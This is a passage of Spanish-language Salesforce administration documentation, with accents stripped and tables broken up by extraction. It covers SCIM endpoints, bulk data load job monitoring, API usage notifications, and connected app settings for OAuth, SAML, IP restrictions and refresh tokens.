incluye en la lista blanca todos los subdominios de example.com.
El patrn de URL de origen puede ser una direccin IP. Sin embargo, una direccin IP y un dominio que tienen como resultado la
misma direccin no son el mismo origen y debe agregarlos a la lista blanca de CORS como entradas separadas.
Importante: Todava debe pasar un testigo de OAuth con solicitudes que lo requieran.
EDICIONES
Disponible en: todas las
ediciones
Los siguientes son los extremos SCIM de Salesforce, donde salesforce_org_url es la URL de la organizacin (como un dominio
personalizado) para el usuario.
https://salesforce_org_url/services/scim/v1/Users
https://salesforce_org_url/services/scim/v1/Groups
https://salesforce_org_url/services/scim/v1/Entitlements
https://salesforce_org_url/services/scim/v1/Schemas
Puede solicitar las funciones de la implementacin SCIM de Salesforce utilizando
https://salesforce_org_url/services/scim/v1/ServiceProviderConfigs.
la organizacin.
Salesforce tambin incluye las siguientes extensiones.
Id. de gestor
usuarios externos
atributos personalizados
conjuntos de permisos
Las siguientes extensiones empresariales de SCIM aparecen bajo esta URN: urn:scim:schemas:extension:enterprise:1.0.
nmero de empleado
divisin
departamento
gestor (Id. de gestor y nombre de presentacin)
Las siguientes extensiones aparecen bajo esta URN: urn:salesforce:schemas:extension:18CHARORGID.
campos personalizados (si la organizacin dispone de alguno)
Las siguientes extensiones aparecen bajo esta URN: urn:salesforce:schemas:extension:external:1.0..
Id. de cuenta
Id. de contacto
Adems, tenga en cuenta el siguiente comportamiento.
En una clusula, AND no tiene prioridad sobre OR. Agregue explcitamente corchetes a las clusulas si alguna clusula nica contiene
tanto AND como OR.
En una clusula, los nombres de atributos y los operadores distinguen entre maysculas y minsculas.
Estos campos se deben filtrar con carcter individual.
Usuarios: Asignaciones, grupos.
Grupos: miembros
Asignaciones: miembros
Para obtener ms informacin, consulte la especificacin del esquema del ncleo de SCIM 1.1, la especificacin de API de REST de SCIM
1.1 y la Gua del desarrollador de API de REST de Salesforce .
Descripcin
Id. del
trabajo
Objeto
El tipo de objeto de los datos que se estn procesando. Todos los datos de un
trabajo deben ser el mismo tipo de objeto.
Operacin La operacin de procesamiento de todos los lotes del trabajo. Las reglas vlidas
son:
eliminar
insertar
consultar
EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition
PERMISOS DE USUARIO
Para supervisar los trabajos
de carga masiva de datos:
Gestionar integraciones
de datos
Columna
Descripcin
alterar
actualizar
Eliminacin
Progreso
Porcentaje de lotes procesados con respecto al nmero total de lotes enviados. El progreso no se muestra cuando
el trabajo est abierto porque no se conoce el nmero total de lotes del trabajo hasta que ste se cierra. El progreso
puede no reflejar de forma precisa el nmero de registros procesados. Cada lote puede contener un nmero
diferente de registros, por lo que se procesar a distintas velocidades.
Registros
procesados
Nmero de registros que ya se han procesado. Este nmero aumenta a medida que se procesan los lotes.
Hora de
inicio
Estado
Enviado por
La lista de trabajos completados contiene las siguientes columnas, que se muestran en orden alfabtico: Los trabajos completados se
eliminan de la lista siete das despus de completarse.
Columna
Descripcin
Hora de
La fecha y hora a la que se complet el trabajo.
finalizacin
Id. del
trabajo
Objeto
El tipo de objeto de los datos que se estn procesando. Todos los datos de un trabajo deben ser el mismo tipo de
objeto.
Operacin
La operacin de procesamiento de todos los lotes del trabajo. Los valores vlidos son:
eliminar
insertar
consultar
alterar
actualizar
Eliminacin
Columna
Descripcin
Registros
procesados
Nmero de registros que ya se han procesado. Este nmero aumenta a medida que se procesan los lotes.
Hora de
inicio
Estado
Enviado por
Tiempo
Tiempo total que tarda en completarse el trabajo.
necesario
para
completar el
trabajo
CONSULTE TAMBIN
Visualizacin de detalles de trabajo de carga masiva de datos
EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition
PERMISOS DE USUARIO
La pgina de detalles del trabajo contiene los siguientes campos, que se muestran en orden
alfabtico:
Campo
Descripcin
Tiempo
de
procesamiento
de Apex
(ms)
Campo
Descripcin
Tiempo de
procesamiento
activo de la
API (ms)
El nmero de milisegundos necesarios para procesar de forma activa el trabajo e incluye el tiempo registrado en
el campo Tiempo de procesamiento de Apex (ms), pero no incluye el tiempo en el que el trabajo
ha esperado en la cola o el tiempo necesario para la serializacin y deserializacin. Es la suma de horas equivalentes
en todos los lotes del trabajo.
Versin de
API
Lotes
completados
Modo de
El modo de concurrencia para procesar los lotes. Los valores vlidos son:
concurrencia paralelo: Los lotes se procesan en modo paralelo. ste es el valor predeterminado.
Hora de
La fecha y hora a la que se complet el trabajo.
finalizacin
Campo de Id
externo
Lotes con
error
Id. del
trabajo
Lotes en
progreso
Objeto
El tipo de objeto de los datos que se estn procesando. Todos los datos de un trabajo deben ser el mismo tipo de
objeto.
Operaciones
La operacin de procesamiento de todos los lotes del trabajo. Los valores vlidos son:
eliminar
insertar
consultar
alterar
actualizar
Eliminacin
Campo
Descripcin
Progreso
Porcentaje de lotes procesados con respecto al nmero total de lotes enviados. El progreso no se muestra cuando
el trabajo est abierto porque no se conoce el nmero total de lotes del trabajo hasta que ste se cierra. El progreso
puede no reflejar de forma precisa el nmero de registros procesados. Cada lote puede contener un nmero
diferente de registros, por lo que se procesar a distintas velocidades.
Lotes en
cola
Registros
fallidos
Registros
procesados
El nmero de registros procesados en el momento en que se envi la solicitud. Este nmero aumenta a medida
que se procesan los lotes.
Reintentos
Nmero de veces que Salesforce ha intentado guardar los resultados de una operacin. Los intentos repetidos se
deben a un problema, como un bloqueo.
Hora de
inicio
Estado
Enviado por
Tiempo
Tiempo total que tarda en completarse el trabajo.
necesario
para
completar el
trabajo
Tiempo total El nmero de milisegundos necesarios para procesar el trabajo. Es la suma de horas de procesamiento en todos
los lotes del trabajo.
de
procesamiento
(ms)
La pgina de detalles del trabajo incluye una lista relacionada de todos los lotes del trabajo. La lista relacionada proporciona los vnculos
Ver solicitud y Ver respuesta para cada lote. Si el lote es un archivo CSV, los vnculos devuelven la solicitud o respuesta en formato
CSV. Si el lote es un archivo XML, los vnculos devuelven la solicitud o respuesta en formato XML. Estos vnculos estn disponibles para
lotes creados en la versin de API 19.0 y posterior.
La lista relacionada de lotes contiene los siguientes campos, que se muestran en orden alfabtico:
Campo
Descripcin
Tiempo de
El nmero de milisegundos necesarios para procesar desencadenadores y otros procesos relacionados con los
procesamiento datos del lote. Si no hay desencadenadores, el valor es 0. No incluye el tiempo empleado para el procesamiento
de Apex (ms) asncrono y operaciones de lotes de Apex.
Tiempo de
El nmero de milisegundos necesarios para procesar de forma activa el lote e incluye el tiempo de procesamiento
procesamiento de Apex. No incluye el tiempo que el lote ha esperado en la cola o el tiempo necesario para la serializacin y
activo de la deserializacin.
API (ms)
Id. del lote El Id. del lote. Puede ser globalmente nico, pero no es necesario.
Hora de
La fecha y hora en la zona horaria UTC en la que ha procesado el procesamiento. Slo es vlido si el estado es
finalizacin Completado.
Registros
fallidos
Registros
procesados
El nmero de registros procesados en este lote en el momento en que se envi la solicitud. Este nmero aumenta
a medida que se procesan los lotes.
Recuento de
reintentos
Nmero de veces que Salesforce ha intentado guardar los resultados de una operacin. Los intentos repetidos se
deben a un problema, como un bloqueo o un lote que tarda mucho en procesarse.
Hora de
inicio
La fecha y hora en la zona horaria UTC a la que se ha creado el lote. No es la hora a la que ha comenzado el
procesamiento, sino la hora a la que se ha aadido el trabajo.
Mensaje de
estado
Estado
Tiempo total El nmero de milisegundos necesarios para procesar el lote. Excluye el tiempo que el lote ha esperado en la cola.
de
procesamiento
(ms)
Campo
Descripcin
Ver
solicitud
Ver
resultado
CONSULTE TAMBIN
Supervisin de trabajos de carga masiva de datos
EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition
PERMISOS DE USUARIO
Para visualizar, crear,
modificar o eliminar
notificaciones:
API activado
Ver el nombre del usuario que cre la notificacin y cundo lo hizo, as como la hora de la ltima modificacin y el nombre del
usuario que la realiz.
Para crear una nueva notificacin, haga clic en Nuevo.
Puede crear hasta diez notificaciones por organizacin.
CONSULTE TAMBIN
Ver notificaciones de uso de API
Creacin y modificacin de notificaciones de uso de API
EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition
PERMISOS DE USUARIO
Para visualizar, crear,
modificar o eliminar
notificaciones:
API activado
CONSULTE TAMBIN
Creacin y modificacin de notificaciones de uso de API
Acerca de notificaciones de uso de la API
CONSULTE TAMBIN
Ver notificaciones de uso de API
Acerca de notificaciones de uso de la API
EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition
PERMISOS DE USUARIO
Para visualizar, crear,
modificar o eliminar
notificaciones:
API activado
EDICIONES
Disponible en: todas las
ediciones
PERMISOS DE USUARIO
CONSULTE TAMBIN
Descripcin general de Aplicaciones conectadas
Aplicaciones conectadas
Descripcin general de Aplicaciones conectadas
PERMISOS DE USUARIO
EDICIONES
Para leer:
Personalizar aplicacin
Personalizar aplicacin Y
Modificar todos los datos O Gestionar
aplicaciones conectadas
Una aplicacin conectada integra una aplicacin con Salesforce utilizando API. Las aplicaciones conectadas utilizan protocolos estndar
de SAML y OAuth para autenticar, proporcionar inicios de sesin nicos y tokens para utilizar con las API de Salesforce. Adems de las
funciones estndar de OAuth, las aplicaciones conectadas permiten a los administradores establecer varias polticas de seguridad y tener
un control completo de quin puede utilizar las aplicaciones.
Un desarrollador o un administrador define una aplicacin conectada para Salesforce mediante la siguiente informacin.
Nombre, descripcin, logotipo e informacin de contacto
Una direccin URL en la que Salesforce pueda localizar la aplicacin para su autorizacin o identificacin.
El protocolo de autorizacin: OAuth, SAML o ambos.
EDICIONES
Para leer:
Personalizar aplicacin
Personalizar aplicacin Y
Modificar todos los datos O Gestionar
aplicaciones conectadas
Informacin bsica
Especifique informacin bsica acerca de su aplicacin en esta seccin, incluyendo el nombre, el logotipo y la informacin de contacto
de la aplicacin.
1. Introduzca el Nombre de aplicacin conectada. Este nombre aparece en la lista de aplicaciones conectadas.
Nota: El nombre debe ser nico para las aplicaciones conectadas actuales de su organizacin. Puede reutilizar el nombre de
una aplicacin conectada eliminada si la aplicacin conectada se cre con la versin Spring '14 o posterior. No puede reutilizar
el nombre de una aplicacin conectada eliminada si la aplicacin conectada se cre con una versin anterior.
2. Introduzca el Nombre de la API que se utiliza al hacer referencia a su aplicacin desde un programa. El valor predeterminado
es una versin del nombre sin espacios. nicamente se permiten letras, nmeros y guiones bajos, as que deber modificar el nombre
predeterminado si el nombre de la aplicacin original contiene cualquier otro carcter.
3. Proporcione el Correo electrnico de contacto que salesforce.com debe utilizar para ponerse en contacto con usted
o con su equipo de atencin al cliente. Esta direccin no se proporciona a administradores que instalan la aplicacin.
4. Proporcione el Telfono de contacto de salesforce.com en el que podamos contactarle en caso necesario. Este nmero
no se proporciona a administradores que instalan la aplicacin.
5. Introduzca una URL de imagen del logotipo para mostrar su logotipo en la lista de aplicaciones conectadas y en la
pgina de consentimiento que los usuarios ven al autenticar. La URL debe utilizar HTTPS. La imagen del logotipo no puede ser
superior a 125 pixeles de alto o 200 pixeles de ancho y debe tener un formato de archivo GIF, JPG, o PNG con un tamao de archivo
mximo de 100 KB. El logotipo predeterminado es una nube. Dispone de varias formas de agregar un logotipo personalizado.
Puede cargar su propia imagen de logotipo haciendo clic en Cargar imagen de logotipo. Seleccione una imagen de su sistema
de archivos local que cumplen los requisitos de tamao para el logotipo. Cuando realiza la carga correctamente, la URL en el
logotipo aparece en el campo URL de imagen de logotipo. De lo contrario, asegrese de que el logotipo cumple
con los requisitos de tamao.
Tambin puede seleccionar un logotipo en las muestras proporcionadas si hace clic en Seleccione uno de nuestros logotipos
de muestra. Los logotipos disponibles incluyen las aplicaciones de Salesforce, las aplicaciones de terceros y los organismos de
estandarizacin. Haga clic en logotipo que desea y luego copie y pegue la URL que aparece en el campo URL de imagen
de logotipo.
Puede utilizar un logotipo alojado pblicamente en servidores de Salesforce cargando una imagen que cumple con los requisitos
de archivo de logotipo (125 pixeles de altura o 200 pixeles de ancho, como mximo, y en el formato de archivo GIF, JPG o PNG
con un tamao de archivo mximo de 100 KB) como un documento utilizando la ficha Documentos. A continuacin, visualice
la imagen para obtener la URL e introduzca la URL en el campo URL de imagen de logotipo.
6. Introduzca una URL de icono para mostrar un logotipo en la pgina de aprobacin de OAuth que los usuarios ven cuando
utilizan su aplicacin por primera vez. El logotipo debe tener 16 pxeles de alto y ancho sobre un fondo blanco. Tambin hay logotipos
de muestra para los iconos.
Puede seleccionar un icono en las muestras proporcionadas si hace clic en Seleccione uno de nuestros logotipos de muestra.
Haga clic en el icono que desea y luego copie y pegue la URL que aparece en el campo URL de icono.
7. Si existe una pgina Web con ms informacin acerca de su aplicacin, proporcione una URL de informacin.
8. Introduzca una Descripcin para mostrar en la lista de aplicaciones conectadas.
Antes de Winter 14, la URL de inicio y URL de inicio de Mobile se definan en esta seccin. Ahora, estos campos se
pueden encontrar en Configuracin de aplicacin Web y Configuracin de aplicacin de Mobile a continuacin.
Importante: Si carga un certificado, todas las solicitudes SAML deben estar firmadas. Si no se carga ningn certificado, se aceptan
todas las solicitudes SAML.
Opcionalmente, seleccione Cifrar respuesta de SAML para cargar un certificado y seleccionar un mtodo de cifrado para
cifrar la afirmacin. Los valores vlidos del algoritmo de cifrado son AES-128 (clave de 128 bits), AES256 (clave de 256 bits) y
Triple DES (algoritmo de cifrado de datos triple).
Solicitud firmada (POST): Se utiliza la autenticacin de OAuth, pero cuando el administrador instala la aplicacin
de lienzo, permite implcitamente el acceso a los usuarios. Por lo tanto, no se pedir al usuario que permita el acceso a su
informacin de usuario a terceros. Cuando utilice este mtodo de acceso, la autenticacin se publicar directamente en la URL
de la aplicacin de lienzo.
Si su aplicacin de lienzo utiliza una autenticacin por solicitud firmada, asegrese de no agregar Realice solicitudes
en su nombre en cualquier momento en el campo mbitos de OAuth seleccionados. La autorizacin
por solicitud firmada nunca devuelve un token de actualizacin, aunque se seleccione este valor de campo.
Flujo Web OAuth (GET): Se utiliza la autenticacin de OAuth y se pide al usuario que permita que la aplicacin externa
acceda a su informacin. Cuando utiliza este mtodo de acceso, la aplicacin de lienzo debe iniciar el flujo de autenticacin de
OAuth.
4. Si va a usar el inicio de sesin nico (SSO) de SAML para la autenticacin de la aplicacin de lienzo, seleccione el campo Mtodo
de iniciacin de SAML. Este campo se habilita si selecciona Habilitar SAML en la seccin Configuracin de aplicacin
Web. Las opciones para este campo son:
Proveedor de identidad iniciado: Salesforce hace una solicitud inicial para iniciar el flujo de SSO.
Proveedor de servicios iniciado: la aplicacin de lienzo inicia el flujo de SSO una vez invocada la aplicacin.
5. En Ubicaciones, seleccione dnde puede aparecer la aplicacin de lienzo para los usuarios.
Noticias en tiempo real de Chatter: La aplicacin de lienzo aparece en la noticia en tiempo real. Si esta opcin est seleccionada,
debe crear un elemento de noticias en tiempo real CanvasPost y asegurarse de que el usuario actual tiene acceso a la aplicacin
de lienzo.
Ficha de Chatter: La aplicacin de lienzo aparece en la lista de navegacin de la aplicacin en la ficha Chatter. Si esta opcin
est seleccionada, la aplicacin de lienzo aparecer all automticamente.
Consola: la aplicacin de lienzo se muestra en el pie de pgina o las barras laterales de una consola de Salesforce. Si se selecciona
esta opcin, debe elegir donde aparecer la aplicacin de lienzo en una consola agregndola como un componente de consola
personalizado.
Formatos y tarjetas mviles: la aplicacin de lienzo se puede mostrar en un formato de pgina o una tarjeta mvil. Si esta
opcin est seleccionada, puede elegir la ubicacin en la que se muestra la aplicacin de lienzo si la agrega al formato de pgina.
Mobile Nav: La aplicacin de lienzo es accesible desde el men de navegacin en Salesforce1.
Nota: Las aplicaciones de lienzo no aparecen en el men de navegacin de Salesforce1 en dispositivos mviles Android.
Para ver aplicaciones de lienzo en el men de navegacin en Android, inicie sesin en la aplicacin para navegadores
mviles de Salesforce1.
Open CTI: La aplicacin de lienzo aparece en la herramienta de control de llamadas. Si se selecciona esta opcin, debe especificar
la aplicacin de lienzo en el archivo de definicin de su centro de llamadas para que pueda aparecer.
Publicador: La aplicacin de lienzo aparece en el publicador. Si esta opcin est seleccionada, tambin debe crear una accin
personalizada de lienzo y agregarla al formato global o a un formato de objeto.
Pgina de Visualforce: La aplicacin de lienzo puede aparecer en una pgina de Visualforce. Si agrega un componente
<apex:canvasApp> para exponer una aplicacin de lienzo en una pgina de Visualforce, asegrese de seleccionar esta
ubicacin para la aplicacin de lienzo; de lo contrario, recibir un error.
6. Seleccione Crear acciones automticamente para crear una accin global para su aplicacin de lienzo. Para crear una
accin global para la aplicacin de lienzo, debe seleccionar Publicador en Ubicacin; por lo tanto, no se crea ninguna
accin global. Tambin puede crear la accin de forma manual en otro momento.
CONSULTE TAMBIN
Modificacin, paquetes o eliminacin de una aplicacin conectada
Descripcin general de Aplicaciones conectadas
URL de identidad
EDICIONES
Para leer:
Personalizar aplicacin
Personalizar aplicacin Y
Modificar todos los datos O Gestionar
aplicaciones conectadas
Una vez creada una aplicacin conectada, podr modificarla empaquetarla o eliminarla.
Nota: El nombre debe ser nico para las aplicaciones conectadas actuales de su organizacin. Puede reutilizar el nombre de una
aplicacin conectada eliminada si la aplicacin conectada se cre con la versin Spring '14 o posterior. No puede reutilizar el
nombre de una aplicacin conectada eliminada si la aplicacin conectada se cre con una versin anterior.
Despus de crear la aplicacin conectada, puede volver a la pgina de detalles para especificar los intervalos IP permitidos.
Los intervalos IP funcionan con OAuth, pero no con SAML, y especifican direcciones IP vlidas para la aplicacin conectada.
Realice los pasos siguientes para establecer el intervalo IP permitido.
1. En Configuracin, haga clic en Crear > Aplicaciones.
2. Haga clic en el nombre de una aplicacin conectada en la lista para abrir la pgina de detalles de la aplicacin.
3. En el intervalo de IP de confianza para la seccin del flujo de servidor Web de OAuth, haga clic en Nuevo.
4. Introduzca una direccin IP vlida en el campo Direccin IP inicial y una direccin IP superior en el campo Direccin IP final.
Puede introducir varios intervalos discontinuos haciendo clic en Nuevo para introducir cada intervalo.
Es posible que desee que determinados usuarios puedan usar la aplicacin conectada fuera del intervalo IP de confianza. Por ejemplo,
se puede permitir a algunos usuarios usar la aplicacin conectada durante un viaje, pero no a otros usuarios. En este caso, establezca la
aplicacin conectada en Rebaje las restricciones de IP con un factor secundario. Si un usuario intentar
usar la aplicacin conectada fuera de este intervalo, se le pedir que especifique un segundo factor de autenticacin, como un cdigo
de token. Tras la autenticacin correcta del segundo factor, el usuario puede usar la aplicacin conectada fuera del intervalo IP de
confianza.
1. En Configuracin, haga clic en Gestionar aplicaciones > Aplicaciones conectadas.
2. Haga clic en Modificar junto al nombre de la aplicacin conectada para mostrar los valores de la aplicacin.
3. En el campo Relajacin de IP, seleccione Rebajar restricciones de IP en la lista desplegable.
Despus de crear la aplicacin conectada, vuelva a la pgina de detalles y especifique iatributos personalizados. Utilice atributos
personalizados para especificar metadatos de SAML o para especificar parmetros de OAuth que se leen durante el tiempo de ejecucin.
1. En Configuracin, haga clic en Crear > Aplicaciones.
2. Haga clic en una opcin de Nombre de aplicacin conectada de la lista para abrir la pgina de detalles de la aplicacin.
3. En la seccin Atributos personalizados, haga clic en Nuevo.
Cada atributo personalizado debe tener una clave nica y debe usar los campos disponibles en el men Insertar campo. Por
ejemplo, asigne un nombre de clave, como country e inserte el campo $Organization.Country. Si usa SAML, los
atributos se envan como declaraciones de atributos SAML. Si se usa OAuth, los atributos estn disponibles con un objeto
custom_attributes en la direccin URL de identidad del usuario.
Importante: Cuando actualice los campos para una aplicacin conectada, tenga en cuenta que los cambios en algunos campos
se aplican de inmediato tambin a todas las versiones instaladas de la aplicacin conectada. Se trata de campos independientes
de la versin que omiten el ciclo de vida del empaquetado o la instalacin. Los usuarios de la aplicacin conectada vern por
ejemplo el cambio de la descripcin. Los siguiente campos tienen este comportamiento independiente de la versin.
Descripcin
URL de informacin
URL de imagen de logotipo
URL de devolucin de llamada
pueden aprovechar tambin todas las dems funciones de los paquetes gestionados, como las listas en AppExchange, las actualizaciones
mediante envo, secuencias de comandos de Apex posteriores a la instalacin, la gestin de licencias y la compatibilidad del suscriptor
mejorada.
Nota: Solo puede incluir una aplicacin conectada en paquetes desde una organizacin de Developer Edition. Las aplicaciones
conectadas solo se pueden agregar a paquetes gestionados. Las aplicaciones conectadas no se admiten para los paquetes no
gestionados.
EDICIONES
Para leer:
Personalizar aplicacin
Personalizar aplicacin Y
Modificar todos los datos O Gestionar
aplicaciones conectadas
La pgina Detalles de la aplicacin conectada le muestra informacin acerca de la aplicacin conectada, incluyendo su versin y sus
mbitos. Puede modificar y comprobar el uso de la aplicacin conectada y asociar perfiles y permisos a esta aplicacin.
Haga clic en Modificar para realizar cambios en la aplicacin en la pgina Modificar aplicacin conectada.
Haga clic en Descargar metadatos para obtener los extremos y las URL de inicio de sesin de SAML de proveedor de servicios
especficos de la configuracin del dominio personalizado o su comunidad. Este botn solo aparece si su organizacin est activada
como proveedor de identidad, y solo con aplicaciones conectadas que usen SAML.
Haga clic en Ver uso de OAuth para ver el informe de uso de las aplicaciones conectadas de su organizacin.
Haga clic en Gestionar perfiles para seleccionar los perfiles para la aplicacin en la pgina Asignacin de perfil de aplicacin.
Seleccione los perfiles para tener acceso a la aplicacin.
Importante: Esta opcin no aparecer si la poltica de OAuth para Usuarios permitidos se establece como Todos los
usuarios pueden autorizarse porque esta opcin no es necesaria cuando los usuarios pueden autorizarse a s
mismos.
Haga clic en Gestionar conjuntos de permisos para seleccionar los conjuntos de permisos para los perfiles de esta aplicacin en
la pgina Asignacin del conjunto de permisos de aplicacin. Seleccione los conjuntos de permisos para tener acceso a la aplicacin.
Importante: Esta opcin no aparecer si la poltica de OAuth para Usuarios permitidos se establece como Todos los
usuarios pueden autorizarse porque esta opcin no es necesaria cuando los usuarios pueden autorizarse a s
mismos.
Haga clic en Nuevo en Atributos SAML de proveedor de servicio para crear nuevos pares de clave/valor de atributo. Tambin puede
modificar o eliminar los atributos existentes.
Solo los usuarios que pertenezcan al menos a uno de los perfiles o conjuntos de permisos seleccionados podrn iniciar la aplicacin si
ha seleccionado Usuarios aprobados por el administrador para el valor Usuarios permitidos de la pgina
Modificar de la aplicacin conectada. Si en su lugar ha seleccionado Todos los usuarios, no se tendrn en cuenta los conjuntos
de permisos y perfiles.
EDICIONES
Para leer:
Personalizar aplicacin
Personalizar aplicacin Y
Modificar todos los datos O Gestionar
aplicaciones conectadas
Para ver y actualizar propiedades de una aplicacin conectada, busque la aplicacin bajo Configuracin, en Gestionar aplicaciones >
Aplicaciones conectadas y haga clic en Modificar junto a ella. Para ver informacin, uso y polticas de una aplicacin conectada o
agregar atributos personalizados, haga clic en el nombre de la aplicacin.
Nota: Las sesiones se actualizan de forma automtica entre cada 15 minutos y 12 horas mientras el usuario est en la aplicacin,
segn el Valor de tiempo de espera de la sesin que haya establecido para su organizacin; el usuario rara vez detecta
este proceso.
EDICIONES
Para leer:
Personalizar aplicacin
Personalizar aplicacin Y
Modificar todos los datos O Gestionar
aplicaciones conectadas
La pgina Modificar de la aplicacin conectada permite modificar la configuracin y los permisos para la aplicacin conectada
Para modificar la configuracin de una aplicacin conectada, siga los pasos que se indican a continuacin:
1. Desde Configuracin, haga clic en Gestionar aplicaciones > Aplicaciones conectadas.
2. Haga clic en Modificar junto al nombre de la aplicacin que desea modificar. (Para revisar informacin sobre una aplicacin en la
pgina Detalles de la aplicacin conectada, haga clic en el nombre de la aplicacin.)
Hay polticas de OAuth disponibles para cada aplicacin conectada.
Usuarios autorizados determina quin puede iniciar la aplicacin.
Todos los usuarios pueden autorizarse: Valores predeterminados. Todos los usuarios en la organizacin
pueden autorizar la aplicacin por s mismos. Eso significa que cada usuario debe aprobar la aplicacin la primer vez que
accede a ella.
Los usuarios aprobados por el administrador se han autorizado previamente. El acceso
est limitado a aquellos usuarios con un perfil o conjunto de permisos especificados, pero estos usuarios no necesitan aprobar
la aplicacin antes de poder acceder a ella. Gestione perfiles desde la aplicacin modificando la lista Acceso de aplicacin
conectada de cada perfil. Gestione conjuntos de permisos desde la aplicacin modificando la lista Aplicaciones conectadas
asignadas del conjunto de permisos.
Nota: Si cambia de Todos los usuarios pueden autorizarse a Los usuarios aprobados
por el administrador se han autorizado previamente, cualquier persona que est utilizando la
aplicacin en este momento perder su acceso a menos que pertenezca a un conjunto de permisos o perfil que haya
especificado para la aplicacin.
Restricciones de direcciones IP hace referencia a las restricciones de direcciones IP a las que estn sujetos los
usuarios de la aplicacin conectada. Un administrador puede seleccionar si reforzar u omitir estas restricciones seleccionando
una de las siguientes opciones.
Reforzar restricciones de direcciones IP: Valores predeterminados. Un usuario que ejecuta la aplicacin
est sujeto a las restricciones de direcciones IP de la organizacin, como los intervalos de direcciones IP establecidos en el
perfil de usuario.
Flexibilizar las restricciones de direcciones IP con segundo factor: Un usuario que
ejecuta esta aplicacin omite las restricciones de direcciones IP de la organizacin si una de estas condiciones es verdadera:
La aplicacin cuenta con intervalos de direcciones IP con lista blanca y est utilizando el flujo de autenticacin OAuth
del servidor Web. Solo se permiten las solicitudes procedentes de las direcciones IP con lista blanca.
La aplicacin no cuenta con una lista blanca de intervalos de direcciones IP, est utilizando el flujo de autenticacin
OAuth del servidor Web o del usuario-agente y el usuario ha completado correctamente la confirmacin de identidad.
Flexibilizar restricciones de direcciones IP: Un usuario que ejecuta esta aplicacin conectada no
est sujeto a ninguna restriccin de direccin IP.
Poltica de testigos de actualizacin especifica el periodo de validez de un token de actualizacin. La
aplicacin conectada usa los token de actualizacin para obtener sesiones nuevas sin solicitar al usuario que proporcione sus
credenciales. La aplicacin conectada simplemente intercambia el token de actualizacin por una sesin nueva. Mediante las
polticas de tokens de actualizacin, los administradores controlan durante cunto tiempo se puede usar un token de actualizacin.
Las opciones son las siguientes.
El testigo de actualizacin es vlido hasta su revocacin. Este es el comportamiento
predeterminado y especifica que el token se puede usar indefinidamente a menos que sea revocado por el usuario o el
administrador. Revoque los tokens en la pgina de detalles de un usuario en Aplicaciones conectadas de OAuth o en el
informe de uso de aplicaciones conectadas de OAuth.
Hacer caducar inmediatamente el testigo de actualizacin. Esta opcin especifica que el token
deja de ser vlido de inmediato. El usuario puede usar la sesin actual (token de acceso) generada, pero no puede usar el
token de actualizacin para obtener nuevas sesiones.
Hacer caducar el testigo de actualizacin si no se utiliza para n. Esta opcin invalida
el token si no se usa para la cantidad de tiempo especificada. Por ejemplo, si el valor del campo indica 7 das y el token
de actualizacin no se intercambia por una sesin nueva en siete das, el siguiente intento de uso del token es fallido. El
token ha caducado y ya no puede generar nuevas sesiones. Si el token de actualizacin se usa correctamente antes de 7
das, se restablece la supervisin del periodo de inactividad y el token es vlido durante otros 7 das.
Hacer caducar el testigo de actualizacin despus de n. Esta opcin invalida el token de
actualizacin despus de una cantidad de tiempo fija. Por ejemplo, si la poltica establece 1 da, el token de actualizacin
se puede usar para obtener sesiones nuevas durante 24 horas. Despus de 24 horas, el token no se puede usar para obtener
sesiones nuevas.
La Poltica de testigos de actualizacin solo se evala durante el uso del token de actualizacin generado
y no influye directamente en la sesin actual del usuario. La sesin del usuario se pueden mantener con el uso y si periodo de
validez se define en Configuracin, Controles de seguridad > Configuracin de la sesin. Los tokens de actualizacin solo
son obligatorios cuando la sesin de un usuario ha caducado o ya no est disponible. Por ejemplo, si establece la Poltica
de testigos de actualizacin en Hacer caducar el testigo de actualizacin despus
de 1 hora y el usuario usa la aplicacin durante dos horas, no se exigir la autenticacin despus de una hora. Solamente
se deber volver a realizar la autenticacin cuando la sesin haya caducado y el cliente intente intercambiar sus tokens de
actualizacin por una sesin nueva.
Los permisos actuales de la aplicacin conectada tambin se enumeran aqu.
Si su aplicacin conectada es una aplicacin de lienzo que utiliza una autenticacin por solicitud firmada, asegrese de lo siguiente:
Establezca Usuarios permitidos como Los usuarios aprobados por el administrador se han
autorizado previamente.
Establezca Caducar tokens de actualizacin como La primera vez que utilizan esta
aplicacin.
De acceso a los usuarios mediante perfiles y conjuntos de permisos.
La poltica a nivel de sesin est disponible para todas las aplicaciones conectadas. Seleccione Sesin de alta seguridad
obligatoria para que el usuario introduzca un token basado en tiempo durante el inicio de sesin para acceder a la aplicacin.
Hay informacin bsica disponible para todas las aplicaciones conectadas. Sin embargo, si su aplicacin es una aplicacin de lienzo,
estos valores de campo no se utilizarn. Por el contrario, se utilizar la URL de aplicacin de lienzo especificada cuando se cre la
aplicacin conectada.
URL de inicio se utiliza si la aplicacin conectada utiliza un inicio de sesin nico. En este caso, establezca la URL de la
pgina donde el usuario iniciar el proceso de autenticacin. Esta ubicacin aparece tambin en el men switcher de la aplicacin.
URL de inicio de Mobile se utiliza para dirigir los usuarios a una ubicacin especfica cuando se accede a la aplicacin
desde un dispositivo mvil.
La configuracin de aplicacin de Mobile est disponible para cualquier aplicacin conectada mvil que refuerza la proteccin de
pin.
Solicitar PIN despus de especifica cunto tiempo puede transcurrir mientras la aplicacin est inactiva antes de
la aplicacin se bloquee y solicite el PIN antes de continuar. Los valores disponibles son ninguno (sin bloqueo), 1, 5, 10 y 30
minutos. Esta poltica solo se cumple si se establece el valor de Longitud de PIN correspondiente. El cumplimiento de
la poltica es responsabilidad de la aplicacin conectada. Las aplicaciones creadas con el SDK de Salesforce Mobile pueden
establecer automticamente el cumplimiento de esta poltica o la aplicacin puede leer la poltica con el servicio UserInfo y
cumplirla.
Nota: Esta opcin no invalida directamente la sesin de un usuario. Aunque la sesin puede caducar debido a la inactividad,
esta poltica simplemente requiere que el usuario introduzca su PIN para seguir usando la sesin actual.
Longitud de Pin establece la longitud del nmero de identificacin enviado para la confirmacin de la autenticacin. La
longitud puede ser de 4 a 8 dgitos, ambos incluidos.
Hay atributos personalizados disponibles para todas las aplicaciones conectadas. Los desarrolladores pueden establecer metadatos
